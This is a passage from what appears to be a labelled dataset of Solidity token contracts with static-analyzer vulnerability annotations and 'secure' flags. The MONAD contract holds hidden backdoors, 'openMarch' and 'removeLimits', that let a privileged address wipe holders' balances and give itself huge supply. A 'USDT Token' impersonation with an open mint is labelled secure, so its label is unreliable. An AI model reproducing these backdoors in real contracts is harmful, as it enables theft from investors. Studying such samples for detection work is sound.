=> LockupItem) public lockups;\n\n IERC1404Success private _transferRestrictions;\n\n error MintingNotAllowed();\n\n error BurningNotAllowed();\n\n error BurnAddressNotSet();\n\n error AddressZeroNotAllowed();\n\n error ReleaseTimeMustBeInFuture();\n\n error AmountMustBeGreaterThanZero();\n\n error TransferRestrictionsContractMustBeSet();\n\n error InsufficientUnlockedBalance();\n\n modifier notRestricted(address from, address to, uint256 value) {\n IERC1404Success _transferRestrictions_ = _transferRestrictions;\n\n if (address(_transferRestrictions_) == address(0))\n revert TransferRestrictionsContractMustBeSet();\n\n uint8 restrictionCode = _transferRestrictions_\n .detectTransferRestriction(from, to, value);\n\n require(\n restrictionCode == _transferRestrictions_.getSuccessCode(),\n _transferRestrictions_.messageForTransferRestriction(\n restrictionCode\n )\n );\n\n _;\n }\n\n modifier notRestrictedTransferFrom(\n address spender,\n address from,\n address to,\n uint256 value\n ) {\n IERC1404Success _transferRestrictions_ = _transferRestrictions;\n\n if (address(_transferRestrictions_) == address(0))\n revert TransferRestrictionsContractMustBeSet();\n\n uint8 restrictionCode = _transferRestrictions_\n .detectTransferFromRestriction(spender, from, to, value);\n\n require(\n restrictionCode == _transferRestrictions_.getSuccessCode(),\n _transferRestrictions_.messageForTransferRestriction(\n restrictionCode\n )\n );\n\n _;\n }\n\n event AccountLock(address address_, uint256 amount, uint256 releaseTime);\n\n event AccountRelease(address address_, uint256 amountReleased);\n\n event RestrictionsUpdated(\n address newRestrictionsAddress,\n address updatedBy\n );\n\n event Revoke(address indexed revoker, address indexed from, uint256 amount);\n\n event WhitelistUpdate(address address_, bool status, string data);\n\n event BurnAddressUpdated(address newBurnAddress, address updatedBy);\n\n constructor(\n address owner,\n bool isMintAllowed,\n bool isBurnAllowed,\n uint256 initialSupply\n ) ERC20(TOKEN_NAME, TOKEN_SYMBOL) {\n MINT_ALLOWED = isMintAllowed;\n\n BURN_ALLOWED = isBurnAllowed;\n\n _mint(owner, initialSupply);\n\n _grantRole(DEFAULT_ADMIN_ROLE, owner);\n\n grantRole(DEFAULT_ADMIN_ROLE, owner);\n }\n\n function grantRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n if (role == DEFAULT_ADMIN_ROLE) {\n _grantRole(MINTER_ROLE, account);\n\n _grantRole(BURNER_ROLE, account);\n\n _grantRole(REVOKER_ROLE, account);\n\n _grantRole(PAUSER_ROLE, account);\n\n _grantRole(WHITELISTER_ROLE, account);\n\n _grantRole(TIMELOCKER_ROLE, account);\n\n setWhitelist(account, true, \"default admin\");\n }\n\n _grantRole(role, account);\n }\n\n function revokeRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n if (role == DEFAULT_ADMIN_ROLE) {\n _revokeRole(MINTER_ROLE, account);\n\n _revokeRole(BURNER_ROLE, account);\n\n _revokeRole(REVOKER_ROLE, account);\n\n _revokeRole(PAUSER_ROLE, account);\n\n _revokeRole(WHITELISTER_ROLE, account);\n\n _revokeRole(TIMELOCKER_ROLE, account);\n\n setWhitelist(account, false, \"default admin revoked\");\n }\n\n _revokeRole(role, account);\n }\n\n function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {\n if (!MINT_ALLOWED) revert MintingNotAllowed();\n\n _mint(to, amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ec01fc5): FurahaaToken.setBurnAddress(address).newBurnAddress lacks a zerocheck on \t burnAddress = newBurnAddress\n\t// Recommendation for ec01fc5: Check that the address is not zero.\n function setBurnAddress(\n address newBurnAddress\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n\t\t// missing-zero-check | ID: ec01fc5\n burnAddress = newBurnAddress;\n\n emit burnAddressUpdated(newBurnAddress, msg.sender);\n }\n\n function burn(uint256 amount) external onlyRole(BURNER_ROLE) {\n if (!BURN_ALLOWED) revert BurningNotAllowed();\n\n _burn(burnAddress, amount);\n }\n\n function revoke(\n address from,\n uint256 amount\n ) external onlyRole(REVOKER_ROLE) {\n if (!checkTimelock(from, amount)) revert InsufficientUnlockedBalance();\n\n ERC20._transfer(from, burnAddress, amount);\n\n emit Revoke(msg.sender, from, amount);\n }\n\n function pause() external onlyRole(PAUSER_ROLE) {\n _pause();\n }\n\n function unpause() external onlyRole(PAUSER_ROLE) {\n _unpause();\n }\n\n function setWhitelist(\n address address_,\n bool status,\n string memory data\n ) public onlyRole(WHITELISTER_ROLE) {\n if (address_ == address(0)) revert AddressZeroNotAllowed();\n\n whitelists[address_] = WhiteListItem(status, data);\n\n emit WhitelistUpdate(address_, status, data);\n }\n\n function getWhitelistStatus(address address_) external view returns (bool) {\n return whitelists[address_].status;\n }\n\n function getWhitelistData(\n address address_\n ) external view returns (string memory) {\n return whitelists[address_].data;\n }\n\n function checkWhitelists(\n address from,\n address to\n ) external view returns (bool) {\n return whitelists[from].status && whitelists[to].status;\n }\n\n function checkWhitelists(\n address spender,\n address from,\n address to\n ) external view returns (bool) {\n return\n whitelists[from].status &&\n whitelists[to].status &&\n whitelists[spender].status;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c54e41f): FurahaaToken.lock(address,uint256,uint256) uses timestamp for comparisons Dangerous comparisons releaseTime <= block.timestamp\n\t// Recommendation for c54e41f: Avoid relying on 'block.timestamp'.\n function lock(\n address address_,\n uint256 amount,\n uint256 releaseTime\n ) public onlyRole(TIMELOCKER_ROLE) {\n\t\t// timestamp | ID: c54e41f\n if (releaseTime <= block.timestamp) revert ReleaseTimeMustBeInFuture();\n\n if (address_ == address(0)) revert AddressZeroNotAllowed();\n\n if (amount == 0) revert AmountMustBeGreaterThanZero();\n\n uint256 balance = ERC20.balanceOf(address_);\n\n amount = amount <= balance ? amount : balance;\n\n lockups[address_] = LockupItem(amount, releaseTime);\n\n emit AccountLock(address_, amount, releaseTime);\n }\n\n function release(\n address address_,\n uint256 amountToRelease\n ) external onlyRole(TIMELOCKER_ROLE) {\n if (address_ == address(0)) revert AddressZeroNotAllowed();\n\n uint256 lockedAmount = lockups[address_].amount;\n\n if (lockedAmount == 0 || amountToRelease == 0) {\n emit AccountRelease(address_, 0);\n\n return;\n }\n\n uint256 newLockedAmount;\n\n unchecked {\n newLockedAmount = lockedAmount <= amountToRelease\n ? 0\n : lockedAmount - amountToRelease;\n }\n\n lockups[address_].amount = newLockedAmount;\n\n unchecked {\n emit AccountRelease(address_, lockedAmount - newLockedAmount);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2a2c364): FurahaaToken.checkTimelock(address,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp > lockupItem.releaseTime\n\t// Recommendation for 2a2c364: Avoid relying on 'block.timestamp'.\n function checkTimelock(\n address address_,\n uint256 amount\n ) public view returns (bool) {\n uint256 balance = balanceOf(address_);\n\n if (balance < amount) return true;\n\n LockupItem memory lockupItem = lockups[address_];\n\n\t\t// timestamp | ID: 2a2c364\n if (block.timestamp > lockupItem.releaseTime) return true;\n\n uint256 nonLockedAmount = balance - lockupItem.amount;\n\n return amount <= nonLockedAmount;\n }\n\n function getLockUpInfo(\n address address_\n ) external view returns (uint256, uint256) {\n LockupItem memory lockupItem = lockups[address_];\n\n return (lockupItem.releaseTime, lockupItem.amount);\n }\n\n function updateTransferRestrictions(\n address newRestrictionsAddress\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n _transferRestrictions = IERC1404Success(newRestrictionsAddress);\n\n emit RestrictionsUpdated(newRestrictionsAddress, msg.sender);\n }\n\n function getRestrictionsAddress() external view returns (address) {\n return address(_transferRestrictions);\n }\n\n function detectTransferRestriction(\n address from,\n address to,\n uint256 amount\n ) external view returns (uint8) {\n return\n _transferRestrictions.detectTransferRestriction(from, to, amount);\n }\n\n function detectTransferFromRestriction(\n address spender,\n address from,\n address to,\n uint256 amount\n ) external view returns (uint8) {\n return\n _transferRestrictions.detectTransferFromRestriction(\n spender,\n from,\n to,\n amount\n );\n }\n\n function messageForTransferRestriction(\n uint8 restrictionCode\n ) external view returns (string memory) {\n return\n _transferRestrictions.messageForTransferRestriction(\n restrictionCode\n );\n }\n\n function transfer(\n address to,\n uint256 value\n )\n public\n override\n notRestricted(msg.sender, to, value)\n returns (bool success)\n {\n success = ERC20.transfer(to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n )\n public\n override\n notRestrictedTransferFrom(msg.sender, from, to, value)\n returns (bool success)\n {\n success = ERC20.transferFrom(from, to, value);\n }\n\n function paused()\n public\n view\n override(Pausable, IERC1404Validators)\n returns (bool)\n {\n return Pausable.paused();\n }\n\n function decimals() public view override(ERC20) returns (uint8) {\n return ERC20.decimals();\n }\n}",
"file_name": "solidity_code_1341.sol",
"secure": 0,
"size_bytes": 12599
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract MONAD {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c91383): MONAD.tokenTotalSupply should be immutable \n\t// Recommendation for 5c91383: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f2cb7bd): MONAD.xxnux should be immutable \n\t// Recommendation for f2cb7bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e1f4e4b): MONAD.tokenDecimals should be immutable \n\t// Recommendation for e1f4e4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 30682b0): MONAD.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 30682b0: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Monad\";\n\n tokenSymbol = \"MONAD\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 30682b0\n xxnux = ads;\n }\n\n function openMarch(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1342.sol",
"secure": 0,
"size_bytes": 5645
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TEDDYBEARLootBox is ERC20, Ownable {\n constructor() ERC20(\"USDT Token\", \"USDT\") {\n _mint(msg.sender, 100000 * 10 ** uint256(decimals()));\n }\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_1343.sol",
"secure": 1,
"size_bytes": 456
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract VoteToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Vote\";\n\n string private constant _symbol = \"VOTE\";\n\n uint256 private constant _totalSupply = 347_000_000 * 10 ** 18;\n\n uint256 public minSwap = 400_000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n mapping(address => bool) private isTxLimitExempt;\n\n uint256 public _walletMax = 6_940_000 * 10 ** 18;\n\n uint256 public _maxTxAmount = 6_940_000 * 10 ** 18;\n\n bool public checkWalletLimit = true;\n\n mapping(address => bool) public _isBlacklisted;\n\n mapping(address => bool) private isWalletLimitExempt;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable public marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 04b115f): VoteToken.ownerAddress should be immutable \n\t// Recommendation for 04b115f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public ownerAddress;\n\n uint8 private inSwapAndLiquify;\n\n uint256 public buyTax;\n\n uint256 public rewards;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n bool public isTradingEnabled = false;\n\n mapping(address => bool) private _ownerT;\n\n modifier open(address from, address to) {\n require(\n isTradingEnabled || from == ownerAddress || to == ownerAddress,\n \"Not Open\"\n );\n\n _;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 0;\n\n rewards = 3;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x6EF9EE3DFC1510b1efaA27Cb57F9003D218Dc211);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFees[marketingWallet] = true;\n\n _isExcludedFromFees[msg.sender] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n isWalletLimitExempt[owner()] = true;\n\n isWalletLimitExempt[address(this)] = true;\n\n isWalletLimitExempt[address(uniswapV2Pair)] = true;\n\n isTxLimitExempt[owner()] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n isTxLimitExempt[address(uniswapV2Pair)] = true;\n\n ownerAddress = msg.sender;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 263d318): VoteToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 263d318: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e563a88): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e563a88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2e7ceb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2e7ceb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e563a88\n\t\t// reentrancy-benign | ID: 2e7ceb4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e563a88\n\t\t// reentrancy-benign | ID: 2e7ceb4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1c273a1): VoteToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1c273a1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2e7ceb4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e563a88\n emit Approval(owner, spender, amount);\n }\n\n function ExcludeWalletFromFees(address wallet) external onlyOwner {\n _isExcludedFromFees[wallet] = true;\n }\n\n function IncludeWalletinFees(address wallet) external onlyOwner {\n _isExcludedFromFees[wallet] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 659426e): VoteToken.ChangeTax(uint256,uint256) should emit an event for buyTax = newBuyTax rewards = newrewardTax \n\t// Recommendation for 659426e: Emit an event for critical parameter changes.\n function ChangeTax(\n uint256 newBuyTax,\n uint256 newrewardTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 659426e\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 659426e\n rewards = newrewardTax;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f5d914d): VoteToken.ChangeMinSwap(uint256) should emit an event for minSwap = NewMinSwapAmount \n\t// Recommendation for f5d914d: Emit an event for critical parameter changes.\n function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {\n\t\t// events-maths | ID: f5d914d\n minSwap = NewMinSwapAmount;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9ff8ef5): VoteToken.ChangeMarketingWalletAddress(address).newAddress lacks a zerocheck on \t marketingWallet = address(newAddress)\n\t// Recommendation for 9ff8ef5: Check that the address is not zero.\n function ChangeMarketingWalletAddress(\n address newAddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 9ff8ef5\n marketingWallet = payable(newAddress);\n }\n\n function EnableTrading() external onlyOwner {\n isTradingEnabled = true;\n }\n\n function BlacklistBot(address[] calldata addresses) external onlyOwner {\n for (uint256 i; i < addresses.length; ++i) {\n _isBlacklisted[addresses[i]] = true;\n }\n }\n\n function UnBlockBot(address account) external onlyOwner {\n _isBlacklisted[account] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c62e837): VoteToken.setWalletLimit(uint256) should emit an event for _walletMax = newLimit \n\t// Recommendation for c62e837: Emit an event for critical parameter changes.\n function setWalletLimit(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: c62e837\n _walletMax = newLimit;\n }\n\n function enableDisableLimits(bool newValue) external onlyOwner {\n checkWalletLimit = newValue;\n }\n\n function setIsWalletLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isWalletLimitExempt[holder] = exempt;\n }\n\n function setIsTxLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isTxLimitExempt[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5dedff0): VoteToken.setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 5dedff0: Emit an event for critical parameter changes.\n function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n\t\t// events-maths | ID: 5dedff0\n _maxTxAmount = maxTxAmount;\n }\n\n function withdrawEther(uint256 amount) external onlyOwner {\n require(address(this).balance >= amount, \"Insufficient balance\");\n\n payable(owner()).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c8a6d63): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c8a6d63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b2a3980): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b2a3980: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n require(\n isTradingEnabled || from == ownerAddress || to == ownerAddress,\n \"Not Open\"\n );\n\n require(\n !_isBlacklisted[from] && !_isBlacklisted[to],\n \"To/from address is blacklisted!\"\n );\n\n if (\n checkWalletLimit && !isTxLimitExempt[from] && !isTxLimitExempt[to]\n ) {\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n if (checkWalletLimit && !isWalletLimitExempt[to])\n require(balanceOf(to).add(amount) <= _walletMax);\n\n uint256 _tax;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n _tax = 0;\n } else {\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: e563a88\n\t\t\t\t\t// reentrancy-events | ID: c8a6d63\n\t\t\t\t\t// reentrancy-benign | ID: 2e7ceb4\n\t\t\t\t\t// reentrancy-no-eth | ID: b2a3980\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: b2a3980\n inSwapAndLiquify = 0;\n }\n\n _tax = rewards;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: b2a3980\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: b2a3980\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: b2a3980\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: c8a6d63\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: c8a6d63\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: b2a3980\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: b2a3980\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: c8a6d63\n emit Transfer(from, to, amount);\n }\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1344.sol",
"secure": 0,
"size_bytes": 14493
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AlphaDex is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"AlphaDex\", \"ALPHADEX\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1345.sol",
"secure": 1,
"size_bytes": 407
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GUARDWALLET {\n\t// WARNING Optimization Issue (immutable-states | ID: fc1cea7): GUARDWALLET.admin should be immutable \n\t// Recommendation for fc1cea7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public admin;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc209ec): GUARDWALLET.preSaleToken should be immutable \n\t// Recommendation for cc209ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public preSaleToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3d81997): GUARDWALLET.usdtToken should be immutable \n\t// Recommendation for 3d81997: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public usdtToken;\n\n uint256 public totalSold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28a5636): GUARDWALLET.tokenCap should be immutable \n\t// Recommendation for 28a5636: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public tokenCap;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e3b08a4): GUARDWALLET.startTime should be immutable \n\t// Recommendation for e3b08a4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public startTime;\n\n uint256 public endTime;\n\n uint256 public constant TOKEN_PRICE = 0.0982 * 10 ** 18;\n\n mapping(address => uint256) public buyAmount;\n\n mapping(address => uint256) public claimableTokens;\n\n event TokensPurchased(\n address indexed buyer,\n uint256 amount,\n uint256 totalPrice\n );\n\n constructor(uint256 _tokenCap, uint256 _startTime, uint256 _endTime) {\n admin = msg.sender;\n\n preSaleToken = IERC20(0x5B3DfED6B9785EA5E924F45d236b80F84796350d);\n\n usdtToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n tokenCap = _tokenCap;\n\n startTime = _startTime;\n\n endTime = _endTime;\n }\n\n modifier onlyAdmin() {\n require(msg.sender == admin, \"Only admin can call this function\");\n\n _;\n }\n\n modifier onlyWhileOpen() {\n require(\n block.timestamp >= startTime && block.timestamp <= endTime,\n \"ICO is not active\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 342af0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 342af0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5557c18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5557c18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 82d25eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 82d25eb: Apply the check-effects-interactions pattern (see 